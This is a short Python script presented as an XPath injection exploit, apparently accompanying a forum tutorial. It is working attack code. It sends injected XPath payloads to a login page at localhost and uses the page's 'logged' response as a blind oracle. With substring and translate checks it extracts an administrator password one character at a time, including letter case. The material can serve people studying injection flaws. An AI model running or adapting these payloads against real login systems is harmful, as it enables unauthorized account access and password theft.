Xpath exploit (translate)

#For sec4ever xpath injection tut
#http://www.sec4ever.com/home/showthread.php?t=16741
#Author : i-Hmx
import urllib2
import urllib
import time
start=time.time()
chars="abcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()/*-+." #yes yes , every thing :))
length=10
pwd=''
q=0
for i in range(1,(length+1)):
    for char in chars:
        #Getting char in lower case
        data=urllib2.urlopen("http://localhost/3.php?"+urllib.urlencode({ 'user' : "admin' and translate(substring(pwd,"+str(i)+",1), 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz')='"+char+"' and '1'='1", 'pass' : "sec4' or '1'='1"})).read()
        q=q+1
        if data.find("logged")!=-1:
            #If true : comparing it with upper case
            data=urllib2.urlopen("http://localhost/3.php?"+urllib.urlencode({ 'user' : "admin' and substring(pwd,"+str(i)+",1)='"+char.upper()+"' and '1'='1", 'pass' : "sec4' or '1'='1"})).read()
            q=q+1
            if data.find("logged")!=-1:
                print "["+str(i)+"] -> "+char.upper()
                pwd=pwd+(char.upper())
                break
            else:
                print "["+str(i)+"] -> "+char
                pwd=pwd+char
                break
end=time.time()
print "\nPassword : "+pwd
print "Number of queries : "+str(q)
print "Time taken : "+str(end-start)